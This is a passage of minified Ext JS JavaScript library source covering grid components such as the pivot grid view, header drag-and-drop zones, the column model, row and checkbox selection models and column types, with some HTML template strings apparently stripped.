this.view.columnDrag.callHandleMouseDown(a) } } } }, endDrag:function (g) { this.marker.hide(); var a = this.view, c = Math.max(this.minX, g.getPageX()), d = c - this.startPos, b = this.dragHeadersDisabled; a.onColumnSplitterMoved(this.cellIndex, this.cm.getColumnWidth(this.cellIndex) + d); setTimeout(function () { a.headersDisabled = b }, 50) }, autoOffset:function () { this.setDelta(0, 0) }}); Ext.grid.PivotGridView = Ext.extend(Ext.grid.GridView, {colHeaderCellCls:"grid-hd-group-cell", title:"", getColumnHeaders:function () { return this.grid.topAxis.buildHeaders() }, getRowHeaders:function () { return this.grid.leftAxis.buildHeaders() }, renderRows:function (a, t) { var b = this.grid, o = b.extractData(), p = o.length, g = this.templates, s = b.renderer, h = typeof s == "function", w = this.getCellCls, n = typeof w == "function", d = g.cell, x = g.row, k = [], q = {}, c = "width:" + this.getGridInnerWidth() + "px;", l, r, e, v, m; a = a || 0; t = Ext.isDefined(t) ? t : p - 1; for (v = 0; v < p; v++) { m = o[v]; r = m.length; l = []; for (var u = 0; u < r; u++) { q.id = v + "-" + u; q.css = u === 0 ? "x-grid3-cell-first " : (u == (r - 1) ? "x-grid3-cell-last " : ""); q.attr = q.cellAttr = ""; q.value = m[u]; if (Ext.isEmpty(q.value)) { q.value = " " } if (h) { q.value = s(q.value) } if (n) { q.css += w(q.value) + " " } l[l.length] = d.apply(q) } k[k.length] = x.apply({tstyle:c, cols:r, cells:l.join(""), alt:""}) } return k.join("") }, masterTpl:new Ext.Template('
    ', '
    ', '
    ', '
    {title}
    ', '
    ', '
    ', "
    ", '
    ', "
    ", '
    ', '
    ', '
    {body}
    ', '', "
    ", "
    ", '
     
    ', '
     
    ', "
    "), initTemplates:function () { Ext.grid.PivotGridView.superclass.initTemplates.apply(this, arguments); var a = this.templates || {}; if (!a.gcell) { a.gcell = new Ext.XTemplate('', '
    ', this.grid.enableHdMenu ? '' : "", "{value}", "
    ", "") } this.templates = a; this.hrowRe = new RegExp("ux-grid-hd-group-row-(\\d+)", "") }, initElements:function () { Ext.grid.PivotGridView.superclass.initElements.apply(this, arguments); this.rowHeadersEl = new Ext.Element(this.scroller.child("div.x-grid3-row-headers")); this.headerTitleEl = new Ext.Element(this.mainHd.child("div.x-grid3-header-title")) }, getGridInnerWidth:function () { var a = Ext.grid.PivotGridView.superclass.getGridInnerWidth.apply(this, arguments); return a - this.getTotalRowHeaderWidth() }, getTotalRowHeaderWidth:function () { var d = this.getRowHeaders(), c = d.length, b = 0, a; for (a = 0; a < c; a++) { b += d[a].width } return b }, getTotalColumnHeaderHeight:function () { return this.getColumnHeaders().length * 21 }, getCellIndex:function (b) { if (b) { var a = b.className.match(this.colRe), c; if (a && (c = a[1])) { return parseInt(c.split("-")[1], 10) } } return false }, renderUI:function () { var b = this.templates, a = this.getGridInnerWidth(); return b.master.apply({body:b.body.apply({rows:" "}), ostyle:"width:" + a + "px", bstyle:"width:" + a + "px"}) }, onLayout:function (b, a) { Ext.grid.PivotGridView.superclass.onLayout.apply(this, arguments); var b = this.getGridInnerWidth(); this.resizeColumnHeaders(b); this.resizeAllRows(b) }, refresh:function (b) { this.fireEvent("beforerefresh", this); this.grid.stopEditing(true); var a = this.renderBody(); this.mainBody.update(a).setWidth(this.getGridInnerWidth()); if (b === true) { this.updateHeaders(); this.updateHeaderSortState() } this.processRows(0, true); this.layout(); this.applyEmptyText(); this.fireEvent("refresh", this) }, renderHeaders:Ext.emptyFn, fitColumns:Ext.emptyFn, resizeColumnHeaders:function (b) { var a = this.grid.topAxis; if (a.rendered) { a.el.setWidth(b) } }, resizeRowHeaders:function () { var a = this.getTotalRowHeaderWidth(), b = String.format("margin-left: {0}px;", a); this.rowHeadersEl.setWidth(a); this.mainBody.applyStyles(b); Ext.fly(this.innerHd).applyStyles(b); this.headerTitleEl.setWidth(a); this.headerTitleEl.setHeight(this.getTotalColumnHeaderHeight()) }, resizeAllRows:function (b) { var d = this.getRows(), c = d.length, a; for (a = 0; a < c; a++) { Ext.fly(d[a]).setWidth(b); Ext.fly(d[a]).child("table").setWidth(b) } }, updateHeaders:function () { this.renderGroupRowHeaders(); this.renderGroupColumnHeaders() }, renderGroupRowHeaders:function () { var a = this.grid.leftAxis; this.resizeRowHeaders(); a.rendered = false; a.render(this.rowHeadersEl); this.setTitle(this.title) }, setTitle:function (a) { this.headerTitleEl.child("span").dom.innerHTML = a }, renderGroupColumnHeaders:function () { var a = this.grid.topAxis; a.rendered = false; a.render(this.innerHd.firstChild) }, isMenuDisabled:function (a, b) { return true }}); Ext.grid.PivotAxis = Ext.extend(Ext.Component, {orientation:"horizontal", defaultHeaderWidth:80, paddingWidth:7, setDimensions:function (a) { this.dimensions = a }, onRender:function (b, a) { var c = this.orientation == "horizontal" ? this.renderHorizontalRows() : this.renderVerticalRows(); this.el = Ext.DomHelper.overwrite(b.dom, {tag:"table", cn:c}, true) }, renderHorizontalRows:function () { var k = this.buildHeaders(), a = k.length, g = [], c, h, e, d, b; for (d = 0; d < a; d++) { c = []; h = k[d].items; e = h.length; for (b = 0; b < e; b++) { c.push({tag:"td", html:h[b].header, colspan:h[b].span}) } g[d] = {tag:"tr", cn:c} } return g }, renderVerticalRows:function () { var b = this.buildHeaders(), k = b.length, a = [], m = [], h, c, l, g, e, d; for (e = 0; e < k; e++) { c = b[e]; g = c.width || 80; h = c.items.length; for (d = 0; d < h; d++) { l = c.items[d]; a[l.start] = a[l.start] || []; a[l.start].push({tag:"td", html:l.header, rowspan:l.span, width:Ext.isBorderBox ? g : g - this.paddingWidth}) } } h = a.length; for (e = 0; e < h; e++) { m[e] = {tag:"tr", cn:a[e]} } return m }, getTuples:function () { var b = new Ext.data.Store({}); b.data = this.store.data.clone(); b.fields = this.store.fields; var l = [], a = this.dimensions, c = a.length, j; for (j = 0; j < c; j++) { l.push({field:a[j].dataIndex, direction:a[j].direction || "ASC"}) } b.sort(l); var e = b.data.items, n = [], k = [], o, h, d, g, m; c = e.length; for (j = 0; j < c; j++) { d = this.getRecordInfo(e[j]); g = d.data; h = ""; for (m in g) { h += g[m] + "---" } if (n.indexOf(h) == -1) { n.push(h); k.push(d) } } b.destroy(); return k }, getRecordInfo:function (a) { var e = this.dimensions, d = e.length, h = {}, j, c, b; for (b = 0; b < d; b++) { j = e[b]; c = j.dataIndex; h[c] = a.get(c) } var g = function (i) { return function (k) { for (var l in i) { if (k.get(l) != i[l]) { return false } } return true } }; return{data:h, matcher:g(h)} }, buildHeaders:function () { var l = this.getTuples(), m = l.length, a = this.dimensions, e, r = a.length, c = [], o, s, n, q, p, b, k, h, g, d; for (g = 0; g < r; g++) { e = a[g]; s = []; p = 0; b = 0; for (d = 0; d < m; d++) { o = l[d]; k = d == (m - 1); n = o.data[e.dataIndex]; h = q != undefined && q != n; if (g > 0 && d > 0) { h = h || o.data[a[g - 1].dataIndex] != l[d - 1].data[a[g - 1].dataIndex] } if (h) { s.push({header:q, span:p, start:b}); b += p; p = 0 } if (k) { s.push({header:n, span:p + 1, start:b}); b += p; p = 0 } q = n; p++ } c.push({items:s, width:e.width || this.defaultHeaderWidth}); q = undefined } return c }}); Ext.grid.HeaderDragZone = Ext.extend(Ext.dd.DragZone, {maxDragWidth:120, constructor:function (a, c, b) { this.grid = a; this.view = a.getView(); this.ddGroup = "gridHeader" + this.grid.getGridEl().id; Ext.grid.HeaderDragZone.superclass.constructor.call(this, c); if (b) { this.setHandleElId(Ext.id(c)); this.setOuterHandleElId(Ext.id(b)) } this.scroll = false }, getDragData:function (c) { var a = Ext.lib.Event.getTarget(c), b = this.view.findHeaderCell(a); if (b) { return{ddel:b.firstChild, header:b} } return false }, onInitDrag:function (a) { this.dragHeadersDisabled = this.view.headersDisabled; this.view.headersDisabled = true; var b = this.dragData.ddel.cloneNode(true); b.id = Ext.id(); b.style.width = Math.min(this.dragData.header.offsetWidth, this.maxDragWidth) + "px"; this.proxy.update(b); return true }, afterValidDrop:function () { this.completeDrop() }, afterInvalidDrop:function () { this.completeDrop() }, completeDrop:function () { var a = this.view, b = this.dragHeadersDisabled; setTimeout(function () { a.headersDisabled = b }, 50) }}); Ext.grid.HeaderDropZone = Ext.extend(Ext.dd.DropZone, {proxyOffsets:[-4, -9], fly:Ext.Element.fly, constructor:function (a, c, b) { this.grid = a; this.view = a.getView(); this.proxyTop = Ext.DomHelper.append(document.body, {cls:"col-move-top", html:" "}, true); this.proxyBottom = Ext.DomHelper.append(document.body, {cls:"col-move-bottom", html:" "}, true); this.proxyTop.hide = this.proxyBottom.hide = function () { this.setLeftTop(-100, -100); this.setStyle("visibility", "hidden") }; this.ddGroup = "gridHeader" + this.grid.getGridEl().id; Ext.grid.HeaderDropZone.superclass.constructor.call(this, a.getGridEl().dom) }, getTargetFromEvent:function (c) { var a = Ext.lib.Event.getTarget(c), b = this.view.findCellIndex(a); if (b !== false) { return this.view.getHeaderCell(b) } }, nextVisible:function (c) { var b = this.view, a = this.grid.colModel; c = c.nextSibling; while (c) { if (!a.isHidden(b.getCellIndex(c))) { return c } c = c.nextSibling } return null }, prevVisible:function (c) { var b = this.view, a = this.grid.colModel; c = c.prevSibling; while (c) { if (!a.isHidden(b.getCellIndex(c))) { return c } c = c.prevSibling } return null }, positionIndicator:function (d, k, j) { var a = Ext.lib.Event.getPageX(j), g = Ext.lib.Dom.getRegion(k.firstChild), c, i, b = g.top + this.proxyOffsets[1]; if ((g.right - a) <= (g.right - g.left) / 2) { c = g.right + this.view.borderWidth; i = "after" } else { c = g.left; i = "before" } if (this.grid.colModel.isFixed(this.view.getCellIndex(k))) { return false } c += this.proxyOffsets[0]; this.proxyTop.setLeftTop(c, b); this.proxyTop.show(); if (!this.bottomOffset) { this.bottomOffset = this.view.mainHd.getHeight() } this.proxyBottom.setLeftTop(c, b + this.proxyTop.dom.offsetHeight + this.bottomOffset); this.proxyBottom.show(); return i }, onNodeEnter:function (d, a, c, b) { if (b.header != d) { this.positionIndicator(b.header, d, c) } }, onNodeOver:function (g, b, d, c) { var a = false; if (c.header != g) { a = this.positionIndicator(c.header, g, d) } if (!a) { this.proxyTop.hide(); this.proxyBottom.hide() } return a ? this.dropAllowed : this.dropNotAllowed }, onNodeOut:function (d, a, c, b) { this.proxyTop.hide(); this.proxyBottom.hide() }, onNodeDrop:function (b, m, g, c) { var d = c.header; if (d != b) { var k = this.grid.colModel, j = Ext.lib.Event.getPageX(g), a = Ext.lib.Dom.getRegion(b.firstChild), o = (a.right - j) <= ((a.right - a.left) / 2) ? "after" : "before", i = this.view.getCellIndex(d), l = this.view.getCellIndex(b); if (o == "after") { l++ } if (i < l) { l-- } k.moveColumn(i, l); return true } return false }}); Ext.grid.GridView.ColumnDragZone = Ext.extend(Ext.grid.HeaderDragZone, {constructor:function (a, b) { Ext.grid.GridView.ColumnDragZone.superclass.constructor.call(this, a, b, null); this.proxy.el.addClass("x-grid3-col-dd") }, handleMouseDown:function (a) { }, callHandleMouseDown:function (a) { Ext.grid.GridView.ColumnDragZone.superclass.handleMouseDown.call(this, a) }}); Ext.grid.SplitDragZone = Ext.extend(Ext.dd.DDProxy, {fly:Ext.Element.fly, constructor:function (a, c, b) { this.grid = a; this.view = a.getView(); this.proxy = this.view.resizeProxy; Ext.grid.SplitDragZone.superclass.constructor.call(this, c, "gridSplitters" + this.grid.getGridEl().id, {dragElId:Ext.id(this.proxy.dom), resizeFrame:false}); this.setHandleElId(Ext.id(c)); this.setOuterHandleElId(Ext.id(b)); this.scroll = false }, b4StartDrag:function (a, d) { this.view.headersDisabled = true; this.proxy.setHeight(this.view.mainWrap.getHeight()); var b = this.cm.getColumnWidth(this.cellIndex); var c = Math.max(b - this.grid.minColumnWidth, 0); this.resetConstraints(); this.setXConstraint(c, 1000); this.setYConstraint(0, 0); this.minX = a - c; this.maxX = a + 1000; this.startPos = a; Ext.dd.DDProxy.prototype.b4StartDrag.call(this, a, d) }, handleMouseDown:function (c) { var b = Ext.EventObject.setEvent(c); var a = this.fly(b.getTarget()); if (a.hasClass("x-grid-split")) { this.cellIndex = this.view.getCellIndex(a.dom); this.split = a.dom; this.cm = this.grid.colModel; if (this.cm.isResizable(this.cellIndex) && !this.cm.isFixed(this.cellIndex)) { Ext.grid.SplitDragZone.superclass.handleMouseDown.apply(this, arguments) } } }, endDrag:function (c) { this.view.headersDisabled = false; var a = Math.max(this.minX, Ext.lib.Event.getPageX(c)); var b = a - this.startPos; this.view.onColumnSplitterMoved(this.cellIndex, this.cm.getColumnWidth(this.cellIndex) + b) }, autoOffset:function () { this.setDelta(0, 0) }}); Ext.grid.GridDragZone = function (b, a) { this.view = b.getView(); Ext.grid.GridDragZone.superclass.constructor.call(this, this.view.mainBody.dom, a); this.scroll = false; this.grid = b; this.ddel = document.createElement("div"); this.ddel.className = "x-grid-dd-wrap" }; Ext.extend(Ext.grid.GridDragZone, Ext.dd.DragZone, {ddGroup:"GridDD", getDragData:function (b) { var a = Ext.lib.Event.getTarget(b); var d = this.view.findRowIndex(a); if (d !== false) { var c = this.grid.selModel; if (!c.isSelected(d) || b.hasModifier()) { c.handleMouseDown(this.grid, d, b) } return{grid:this.grid, ddel:this.ddel, rowIndex:d, selections:c.getSelections()} } return false }, onInitDrag:function (b) { var a = this.dragData; this.ddel.innerHTML = this.grid.getDragDropText(); this.proxy.update(this.ddel) }, afterRepair:function () { this.dragging = false }, getRepairXY:function (b, a) { return false }, onEndDrag:function (a, b) { }, onValidDrop:function (a, b, c) { this.hideProxy() }, beforeInvalidDrop:function (a, b) { }}); Ext.grid.ColumnModel = Ext.extend(Ext.util.Observable, {defaultWidth:100, defaultSortable:false, constructor:function (a) { if (a.columns) { Ext.apply(this, a); this.setConfig(a.columns, true) } else { this.setConfig(a, true) } this.addEvents("widthchange", "headerchange", "hiddenchange", "columnmoved", "configchange"); Ext.grid.ColumnModel.superclass.constructor.call(this) }, getColumnId:function (a) { return this.config[a].id }, getColumnAt:function (a) { return this.config[a] }, setConfig:function (d, b) { var e, h, a; if (!b) { delete this.totalWidth; for (e = 0, a = this.config.length; e < a; e++) { h = this.config[e]; if (h.setEditor) { h.setEditor(null) } } } this.defaults = Ext.apply({width:this.defaultWidth, sortable:this.defaultSortable}, this.defaults); this.config = d; this.lookup = {}; for (e = 0, a = d.length; e < a; e++) { h = Ext.applyIf(d[e], this.defaults); if (Ext.isEmpty(h.id)) { h.id = e } if (!h.isColumn) { var g = Ext.grid.Column.types[h.xtype || "gridcolumn"]; h = new g(h); d[e] = h } this.lookup[h.id] = h } if (!b) { this.fireEvent("configchange", this) } }, getColumnById:function (a) { return this.lookup[a] }, getIndexById:function (c) { for (var b = 0, a = this.config.length; b < a; b++) { if (this.config[b].id == c) { return b } } return -1 }, moveColumn:function (e, b) { var a = this.config, d = a[e]; a.splice(e, 1); a.splice(b, 0, d); this.dataMap = null; this.fireEvent("columnmoved", this, e, b) }, getColumnCount:function (b) { var d = this.config.length, e = 0, a; if (b === true) { for (a = 0; a < d; a++) { if (!this.isHidden(a)) { e++ } } return e } return d }, getColumnsBy:function (g, e) { var b = this.config, h = b.length, a = [], d, j; for (d = 0; d < h; d++) { j = b[d]; if (g.call(e || this, j, d) === true) { a[a.length] = j } } return a }, isSortable:function (a) { return !!this.config[a].sortable }, isMenuDisabled:function (a) { return !!this.config[a].menuDisabled }, getRenderer:function (a) { return this.config[a].renderer || Ext.grid.ColumnModel.defaultRenderer }, getRendererScope:function (a) { return this.config[a].scope }, setRenderer:function (a, b) { this.config[a].renderer = b }, getColumnWidth:function (a) { var b = this.config[a].width; if (typeof b != "number") { b = this.defaultWidth } return b }, setColumnWidth:function (b, c, a) { this.config[b].width = c; this.totalWidth = null; if (!a) { this.fireEvent("widthchange", this, b, c) } }, getTotalWidth:function (b) { if (!this.totalWidth) { this.totalWidth = 0; for (var c = 0, a = this.config.length; c < a; c++) { if (b || !this.isHidden(c)) { this.totalWidth += this.getColumnWidth(c) } } } return this.totalWidth }, getColumnHeader:function (a) { return this.config[a].header }, setColumnHeader:function (a, b) { this.config[a].header = b; this.fireEvent("headerchange", this, a, b) }, getColumnTooltip:function (a) { return this.config[a].tooltip }, setColumnTooltip:function (a, b) { this.config[a].tooltip = b }, getDataIndex:function (a) { return this.config[a].dataIndex }, setDataIndex:function (a, b) { this.config[a].dataIndex = b }, findColumnIndex:function (d) { var e = this.config; for (var b = 0, a = e.length; b < a; b++) { if (e[b].dataIndex == d) { return b } } return -1 }, isCellEditable:function (b, e) { var d = this.config[b], a = d.editable; return !!(a || (!Ext.isDefined(a) && d.editor)) }, getCellEditor:function (a, b) { return this.config[a].getCellEditor(b) }, setEditable:function (a, b) { this.config[a].editable = b }, isHidden:function (a) { return !!this.config[a].hidden }, isFixed:function (a) { return !!this.config[a].fixed }, isResizable:function (a) { return a >= 0 && this.config[a].resizable !== false && this.config[a].fixed !== true }, setHidden:function (a, b) { var d = this.config[a]; if (d.hidden !== b) { d.hidden = b; this.totalWidth = null; this.fireEvent("hiddenchange", this, a, b) } }, setEditor:function (a, b) { this.config[a].setEditor(b) }, destroy:function () { var b = this.config.length, a = 0; for (; a < b; a++) { this.config[a].destroy() } delete this.config; delete this.lookup; this.purgeListeners() }, setState:function (a, b) { b = Ext.applyIf(b, this.defaults); Ext.apply(this.config[a], b) }}); Ext.grid.ColumnModel.defaultRenderer = function (a) { if (typeof a == "string" && a.length < 1) { return" " } return a }; Ext.grid.AbstractSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function () { this.locked = false; Ext.grid.AbstractSelectionModel.superclass.constructor.call(this) }, init:function (a) { this.grid = a; if (this.lockOnInit) { delete this.lockOnInit; this.locked = false; this.lock() } this.initEvents() }, lock:function () { if (!this.locked) { this.locked = true; var a = this.grid; if (a) { a.getView().on({scope:this, beforerefresh:this.sortUnLock, refresh:this.sortLock}) } else { this.lockOnInit = true } } }, sortLock:function () { this.locked = true }, sortUnLock:function () { this.locked = false }, unlock:function () { if (this.locked) { this.locked = false; var a = this.grid, b; if (a) { b = a.getView(); b.un("beforerefresh", this.sortUnLock, this); b.un("refresh", this.sortLock, this) } else { delete this.lockOnInit } } }, isLocked:function () { return this.locked }, destroy:function () { this.unlock(); this.purgeListeners() }}); Ext.grid.RowSelectionModel = Ext.extend(Ext.grid.AbstractSelectionModel, {singleSelect:false, constructor:function (a) { Ext.apply(this, a); this.selections = new Ext.util.MixedCollection(false, function (b) { return b.id }); this.last = false; this.lastActive = false; this.addEvents("selectionchange", "beforerowselect", "rowselect", "rowdeselect"); Ext.grid.RowSelectionModel.superclass.constructor.call(this) }, initEvents:function () { if (!this.grid.enableDragDrop && !this.grid.enableDrag) { this.grid.on("rowmousedown", this.handleMouseDown, this) } this.rowNav = new Ext.KeyNav(this.grid.getGridEl(), {up:this.onKeyPress, down:this.onKeyPress, scope:this}); this.grid.getView().on({scope:this, refresh:this.onRefresh, rowupdated:this.onRowUpdated, rowremoved:this.onRemove}) }, onKeyPress:function (g, b) { var a = b == "up", h = a ? "selectPrevious" : "selectNext", d = a ? -1 : 1, c; if (!g.shiftKey || this.singleSelect) { this[h](false) } else { if (this.last !== false && this.lastActive !== false) { c = this.last; this.selectRange(this.last, this.lastActive + d); this.grid.getView().focusRow(this.lastActive); if (c !== false) { this.last = c } } else { this.selectFirstRow() } } }, onRefresh:function () { var g = this.grid.store, d = this.getSelections(), c = 0, a = d.length, b, e; this.silent = true; this.clearSelections(true); for (; c < a; c++) { e = d[c]; if ((b = g.indexOfId(e.id)) != -1) { this.selectRow(b, true) } } if (d.length != this.selections.getCount()) { this.fireEvent("selectionchange", this) } this.silent = false }, onRemove:function (a, b, c) { if (this.selections.remove(c) !== false) { this.fireEvent("selectionchange", this) } }, onRowUpdated:function (a, b, c) { if (this.isSelected(c)) { a.onRowSelect(b) } }, selectRecords:function (b, e) { if (!e) { this.clearSelections() } var d = this.grid.store, c = 0, a = b.length; for (; c < a; c++) { this.selectRow(d.indexOf(b[c]), true) } }, getCount:function () { return this.selections.length }, selectFirstRow:function () { this.selectRow(0) }, selectLastRow:function (a) { this.selectRow(this.grid.store.getCount() - 1, a) }, selectNext:function (a) { if (this.hasNext()) { this.selectRow(this.last + 1, a); this.grid.getView().focusRow(this.last); return true } return false }, selectPrevious:function (a) { if (this.hasPrevious()) { this.selectRow(this.last - 1, a); this.grid.getView().focusRow(this.last); return true } return false }, hasNext:function () { return this.last !== false && (this.last + 1) < this.grid.store.getCount() }, hasPrevious:function () { return !!this.last }, getSelections:function () { return[].concat(this.selections.items) }, getSelected:function () { return this.selections.itemAt(0) }, each:function (e, d) { var c = this.getSelections(), b = 0, a = c.length; for (; b < a; b++) { if (e.call(d || this, c[b], b) === false) { return false } } return true }, clearSelections:function (a) { if (this.isLocked()) { return } if (a !== true) { var c = this.grid.store, b = this.selections; b.each(function (d) { this.deselectRow(c.indexOfId(d.id)) }, this); b.clear() } else { this.selections.clear() } this.last = false }, selectAll:function () { if (this.isLocked()) { return } this.selections.clear(); for (var b = 0, a = this.grid.store.getCount(); b < a; b++) { this.selectRow(b, true) } }, hasSelection:function () { return this.selections.length > 0 }, isSelected:function (a) { var b = Ext.isNumber(a) ? this.grid.store.getAt(a) : a; return(b && this.selections.key(b.id) ? true : false) }, isIdSelected:function (a) { return(this.selections.key(a) ? true : false) }, handleMouseDown:function (d, i, h) { if (h.button !== 0 || this.isLocked()) { return } var a = this.grid.getView(); if (h.shiftKey && !this.singleSelect && this.last !== false) { var c = this.last; this.selectRange(c, i, h.ctrlKey); this.last = c; a.focusRow(i) } else { var b = this.isSelected(i); if (h.ctrlKey && b) { this.deselectRow(i) } else { if (!b || this.getCount() > 1) { this.selectRow(i, h.ctrlKey || h.shiftKey); a.focusRow(i) } } } }, selectRows:function (c, d) { if (!d) { this.clearSelections() } for (var b = 0, a = c.length; b < a; b++) { this.selectRow(c[b], true) } }, selectRange:function (b, a, d) { var c; if (this.isLocked()) { return } if (!d) { this.clearSelections() } if (b <= a) { for (c = b; c <= a; c++) { this.selectRow(c, true) } } else { for (c = b; c >= a; c--) { this.selectRow(c, true) } } }, deselectRange:function (c, b, a) { if (this.isLocked()) { return } for (var d = c; d <= b; d++) { this.deselectRow(d, a) } }, selectRow:function (b, d, a) { if (this.isLocked() || (b < 0 || b >= this.grid.store.getCount()) || (d && this.isSelected(b))) { return } var c = this.grid.store.getAt(b); if (c && this.fireEvent("beforerowselect", this, b, d, c) !== false) { if (!d || this.singleSelect) { this.clearSelections() } this.selections.add(c); this.last = this.lastActive = b; if (!a) { this.grid.getView().onRowSelect(b) } if (!this.silent) { this.fireEvent("rowselect", this, b, c); this.fireEvent("selectionchange", this) } } }, deselectRow:function (b, a) { if (this.isLocked()) { return } if (this.last == b) { this.last = false } if (this.lastActive == b) { this.lastActive = false } var c = this.grid.store.getAt(b); if (c) { this.selections.remove(c); if (!a) { this.grid.getView().onRowDeselect(b) } this.fireEvent("rowdeselect", this, b, c); this.fireEvent("selectionchange", this) } }, acceptsNav:function (c, b, a) { return !a.isHidden(b) && a.isCellEditable(b, c) }, onEditorKey:function (n, l) { var d = l.getKey(), h, i = this.grid, p = i.lastEdit, j = i.activeEditor, b = l.shiftKey, o, p, a, m; if (d == l.TAB) { l.stopEvent(); j.completeEdit(); if (b) { h = i.walkCells(j.row, j.col - 1, -1, this.acceptsNav, this) } else { h = i.walkCells(j.row, j.col + 1, 1, this.acceptsNav, this) } } else { if (d == l.ENTER) { if (this.moveEditorOnEnter !== false) { if (b) { h = i.walkCells(p.row - 1, p.col, -1, this.acceptsNav, this) } else { h = i.walkCells(p.row + 1, p.col, 1, this.acceptsNav, this) } } } } if (h) { a = h[0]; m = h[1]; this.onEditorSelect(a, p.row); if (i.isEditor && i.editing) { o = i.activeEditor; if (o && o.field.triggerBlur) { o.field.triggerBlur() } } i.startEditing(a, m) } }, onEditorSelect:function (b, a) { if (a != b) { this.selectRow(b) } }, destroy:function () { Ext.destroy(this.rowNav); this.rowNav = null; Ext.grid.RowSelectionModel.superclass.destroy.call(this) }}); Ext.grid.Column = Ext.extend(Ext.util.Observable, {isColumn:true, constructor:function (b) { Ext.apply(this, b); if (Ext.isString(this.renderer)) { this.renderer = Ext.util.Format[this.renderer] } else { if (Ext.isObject(this.renderer)) { this.scope = this.renderer.scope; this.renderer = this.renderer.fn } } if (!this.scope) { this.scope = this } var a = this.editor; delete this.editor; this.setEditor(a); this.addEvents("click", "contextmenu", "dblclick", "mousedown"); Ext.grid.Column.superclass.constructor.call(this) }, processEvent:function (b, d, c, g, a) { return this.fireEvent(b, this, c, g, d) }, destroy:function () { if (this.setEditor) { this.setEditor(null) } this.purgeListeners() }, renderer:function (a) { return a }, getEditor:function (a) { return this.editable !== false ? this.editor : null }, setEditor:function (b) { var a = this.editor; if (a) { if (a.gridEditor) { a.gridEditor.destroy(); delete a.gridEditor } else { a.destroy() } } this.editor = null; if (b) { if (!b.isXType) { b = Ext.create(b, "textfield") } this.editor = b } }, getCellEditor:function (b) { var a = this.getEditor(b); if (a) { if (!a.startEdit) { if (!a.gridEditor) { a.gridEditor = new Ext.grid.GridEditor(a) } a = a.gridEditor } } return a }}); Ext.grid.BooleanColumn = Ext.extend(Ext.grid.Column, {trueText:"true", falseText:"false", undefinedText:" ", constructor:function (a) { Ext.grid.BooleanColumn.superclass.constructor.call(this, a); var c = this.trueText, d = this.falseText, b = this.undefinedText; this.renderer = function (e) { if (e === undefined) { return b } if (!e || e === "false") { return d } return c } }}); Ext.grid.NumberColumn = Ext.extend(Ext.grid.Column, {format:"0,000.00", constructor:function (a) { Ext.grid.NumberColumn.superclass.constructor.call(this, a); this.renderer = Ext.util.Format.numberRenderer(this.format) }}); Ext.grid.DateColumn = Ext.extend(Ext.grid.Column, {format:"m/d/Y", constructor:function (a) { Ext.grid.DateColumn.superclass.constructor.call(this, a); this.renderer = Ext.util.Format.dateRenderer(this.format) }}); Ext.grid.TemplateColumn = Ext.extend(Ext.grid.Column, {constructor:function (a) { Ext.grid.TemplateColumn.superclass.constructor.call(this, a); var b = (!Ext.isPrimitive(this.tpl) && this.tpl.compile) ? this.tpl : new Ext.XTemplate(this.tpl); this.renderer = function (d, e, c) { return b.apply(c.data) }; this.tpl = b }}); Ext.grid.ActionColumn = Ext.extend(Ext.grid.Column, {header:" ", actionIdRe:/x-action-col-(\d+)/, altText:"", constructor:function (b) { var g = this, c = b.items || (g.items = [g]), a = c.length, d, e; Ext.grid.ActionColumn.superclass.constructor.call(g, b); g.renderer = function (h, i) { h = Ext.isFunction(b.renderer) ? b.renderer.apply(this, arguments) || "" : ""; i.css += " x-action-col-cell"; for (d = 0; d < a; d++) { e = c[d]; h += '' + (e.altText || g.altText) + '" } return h } }, destroy:function () { delete this.items; delete this.renderer; return Ext.grid.ActionColumn.superclass.destroy.apply(this, arguments) }, processEvent:function (c, i, d, j, b) { var a = i.getTarget().className.match(this.actionIdRe), h, g; if (a && (h = this.items[parseInt(a[1], 10)])) { if (c == "click") { (g = h.handler || this.handler) && g.call(h.scope || this.scope || this, d, j, b, h, i) } else { if ((c == "mousedown") && (h.stopSelection !== false)) { return false } } } return Ext.grid.ActionColumn.superclass.processEvent.apply(this, arguments) }}); Ext.grid.Column.types = {gridcolumn:Ext.grid.Column, booleancolumn:Ext.grid.BooleanColumn, numbercolumn:Ext.grid.NumberColumn, datecolumn:Ext.grid.DateColumn, templatecolumn:Ext.grid.TemplateColumn, actioncolumn:Ext.grid.ActionColumn}; Ext.grid.RowNumberer = Ext.extend(Object, {header:"", width:23, sortable:false, constructor:function (a) { Ext.apply(this, a); if (this.rowspan) { this.renderer = this.renderer.createDelegate(this) } }, fixed:true, hideable:false, menuDisabled:true, dataIndex:"", id:"numberer", rowspan:undefined, renderer:function (b, c, a, d) { if (this.rowspan) { c.cellAttr = 'rowspan="' + this.rowspan + '"' } return d + 1 }}); Ext.grid.CheckboxSelectionModel = Ext.extend(Ext.grid.RowSelectionModel, {header:'
     
    ', width:20, sortable:false, menuDisabled:true, fixed:true, hideable:false, dataIndex:"", id:"checker", isColumn:true, constructor:function () { Ext.grid.CheckboxSelectionModel.superclass.constructor.apply(this, arguments); if (this.checkOnly) { this.handleMouseDown = Ext.emptyFn } }, initEvents:function () { Ext.grid.CheckboxSelectionModel.superclass.initEvents.call(this); this.grid.on("render", function () { Ext.fly(this.grid.getView().innerHd).on("mousedown", this.onHdMouseDown, this) }, this) }, processEvent:function (b, d, c, g, a) { if (b == "mousedown") { this.onMouseDown(d, d.getTarget()); return false } else { return Ext.grid.Column.prototype.processEvent.apply(this, arguments) } }, onMouseDown:function (c, b) { if (c.button === 0 && b.className == "x-grid3-row-checker") { c.stopEvent(); var d = c.getTarget(".x-grid3-row"); if (d) { var a = d.rowIndex; if (this.isSelected(a)) { this.deselectRow(a) } else { this.selectRow(a, true); this.grid.getView().focusRow(a) } } } }, onHdMouseDown:function (c, a) { if (a.className == "x-grid3-hd-checker") { c.stopEvent(); var b = Ext.fly(a.parentNode); var d = b.hasClass("x-grid3-hd-checker-on"); if (d) { b.removeClass("x-grid3-hd-checker-on"); this.clearSelections() } else { b.addClass("x-grid3-hd-checker-on"); this.selectAll() } } }, renderer:function (b, c, a) { return'
     
